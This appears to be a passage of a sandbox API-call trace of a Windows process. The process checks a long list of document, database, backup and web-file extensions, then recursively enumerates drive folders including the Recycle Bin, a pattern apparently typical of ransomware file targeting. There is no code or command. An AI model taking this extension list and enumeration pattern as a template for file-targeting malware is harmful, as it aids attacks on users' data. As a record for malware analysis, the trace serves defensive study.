[0158.013] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".asc") returned 4 [0158.013] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".ascx") returned 5 [0158.013] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0158.013] lstrlenW (lpString=".asm") returned 4 [0158.013] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".asmx") returned 5 [0158.013] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0158.013] lstrlenW (lpString=".asp") returned 4 [0158.013] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0158.013] lstrlenW (lpString=".aspx") returned 5 [0158.013] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0158.013] lstrlenW (lpString=".asr") returned 4 [0158.014] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".asx") returned 4 [0158.014] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".avi") returned 4 [0158.014] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".avs") returned 4 [0158.014] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".backup") returned 7 [0158.014] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0158.014] lstrlenW (lpString=".bak") returned 4 [0158.014] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".bay") returned 4 [0158.014] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".bd") returned 3 [0158.014] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0158.014] lstrlenW (lpString=".bin") returned 4 [0158.014] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".bmp") returned 4 [0158.014] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".bz2") returned 4 [0158.014] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".c") returned 2 [0158.014] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0158.014] lstrlenW (lpString=".cdr") returned 4 [0158.014] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".cer") returned 4 [0158.014] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".cf") returned 3 [0158.014] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0158.014] lstrlenW (lpString=".cfc") returned 4 [0158.014] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".cfm") returned 4 [0158.014] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0158.014] lstrlenW (lpString=".cfml") returned 5 [0158.015] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0158.015] lstrlenW (lpString=".cfu") returned 4 [0158.015] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".chm") returned 4 [0158.015] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".cin") returned 4 [0158.015] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".class") returned 6 [0158.015] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0158.015] lstrlenW (lpString=".clx") returned 4 [0158.015] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".config") returned 7 [0158.015] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0158.015] lstrlenW (lpString=".cpp") returned 4 [0158.015] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".cr2") returned 4 [0158.015] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".crt") returned 4 [0158.015] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".crw") returned 4 [0158.015] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".cs") returned 3 [0158.015] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0158.015] lstrlenW (lpString=".css") returned 4 [0158.015] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".csv") returned 4 [0158.015] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".cub") returned 4 [0158.015] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".dae") returned 4 [0158.015] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".dat") returned 4 [0158.015] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0158.015] lstrlenW (lpString=".db") returned 3 [0158.015] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0158.016] lstrlenW (lpString=".dbf") returned 4 [0158.016] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dbx") returned 4 [0158.016] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dc3") returned 4 [0158.016] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dcm") returned 4 [0158.016] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dcr") returned 4 [0158.016] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".der") returned 4 [0158.016] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dib") returned 4 [0158.016] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dic") returned 4 [0158.016] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dif") returned 4 [0158.016] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".divx") returned 5 [0158.016] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0158.016] lstrlenW (lpString=".djvu") returned 5 [0158.016] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0158.016] lstrlenW (lpString=".dng") returned 4 [0158.016] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".doc") returned 4 [0158.016] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".docm") returned 5 [0158.016] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0158.016] lstrlenW (lpString=".docx") returned 5 [0158.016] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0158.016] lstrlenW (lpString=".dot") returned 4 [0158.016] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0158.016] lstrlenW (lpString=".dotm") returned 5 [0158.016] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0158.016] lstrlenW (lpString=".dotx") returned 5 [0158.016] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0158.017] lstrlenW (lpString=".dpx") returned 4 [0158.017] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0158.017] lstrlenW (lpString=".dqy") returned 4 [0158.017] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0158.017] lstrlenW (lpString=".dsn") returned 4 [0158.017] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0158.017] lstrlenW (lpString=".dt") returned 3 [0158.017] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0158.017] lstrlenW (lpString=".dtd") returned 4 [0158.017] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0158.017] lstrlenW (lpString=".dwg") returned 4 [0158.017] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0158.017] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.017] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.017] FindClose (in: hFindFile=0x7f55d8 | out: hFindFile=0x7f55d8) returned 1 [0158.019] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.019] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.019] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.019] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f58d8 [0158.039] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.039] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.040] FindClose (in: hFindFile=0x7f58d8 | out: hFindFile=0x7f58d8) returned 1 [0158.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.041] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0158.041] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0158.042] FindNextFileW (in: hFindFile=0x7a97b0, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0158.042] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3b10e08 [0158.043] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x7f5798 [0158.043] FindNextFileW (in: hFindFile=0x7f5798, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.043] FindNextFileW (in: hFindFile=0x7f5798, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.043] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.043] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5598 [0158.044] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.044] FindClose (in: hFindFile=0x7f5598 | out: hFindFile=0x7f5598) returned 1 [0158.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5798, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.044] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.044] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5458 [0158.044] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.044] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.044] FindNextFileW (in: hFindFile=0x7f5798, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0 [0158.044] FindClose (in: hFindFile=0x7f5798 | out: hFindFile=0x7f5798) returned 1 [0158.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0158.045] FindNextFileW (in: hFindFile=0x7a97b0, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0158.045] FindNextFileW (in: hFindFile=0x7a97b0, lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 1 [0158.045] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3b10e08 [0158.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x7f5818 [0158.061] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.062] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.062] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.062] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5458 [0158.063] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.063] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.063] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.063] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.064] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.064] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.153] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.153] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.153] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5418 [0158.731] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.731] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.731] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.731] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.731] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.731] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.731] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.731] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.732] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.732] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f57d8 [0158.732] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.732] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.732] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.732] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.733] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.733] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.733] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.733] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.733] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.733] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f55d8 [0158.733] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.733] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.733] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.734] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.734] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.734] FindClose (in: hFindFile=0x7f55d8 | out: hFindFile=0x7f55d8) returned 1 [0158.734] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.734] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.734] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.734] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5118 [0158.734] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.734] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.735] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.735] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.735] FindNextFileW (in: hFindFile=0x7f5118, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.735] FindClose (in: hFindFile=0x7f5118 | out: hFindFile=0x7f5118) returned 1 [0158.735] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.735] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.735] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.735] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5358 [0158.736] FindNextFileW (in: hFindFile=0x7f5358, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.736] FindNextFileW (in: hFindFile=0x7f5358, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.736] FindNextFileW (in: hFindFile=0x7f5358, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.736] FindNextFileW (in: hFindFile=0x7f5358, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.736] FindNextFileW (in: hFindFile=0x7f5358, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.736] FindClose (in: hFindFile=0x7f5358 | out: hFindFile=0x7f5358) returned 1 [0158.736] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.736] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.736] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.736] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5318 [0158.737] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.737] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.737] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.737] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.737] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.737] FindClose (in: hFindFile=0x7f5318 | out: hFindFile=0x7f5318) returned 1 [0158.737] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.737] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.737] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.737] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5318 [0158.738] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.738] FindClose (in: hFindFile=0x7f5318 | out: hFindFile=0x7f5318) returned 1 [0158.738] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.738] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.738] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f55d8 [0158.739] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.739] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.739] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.739] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.739] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.739] FindClose (in: hFindFile=0x7f55d8 | out: hFindFile=0x7f55d8) returned 1 [0158.739] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.739] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.739] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5458 [0158.739] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.740] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.740] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.740] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.740] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.740] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f5458 [0158.740] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.741] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.741] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.741] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.741] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.741] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.741] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.741] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0158.741] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.741] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x7f57d8 [0158.750] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.750] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.750] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.751] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0158.751] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0158.751] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.751] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: 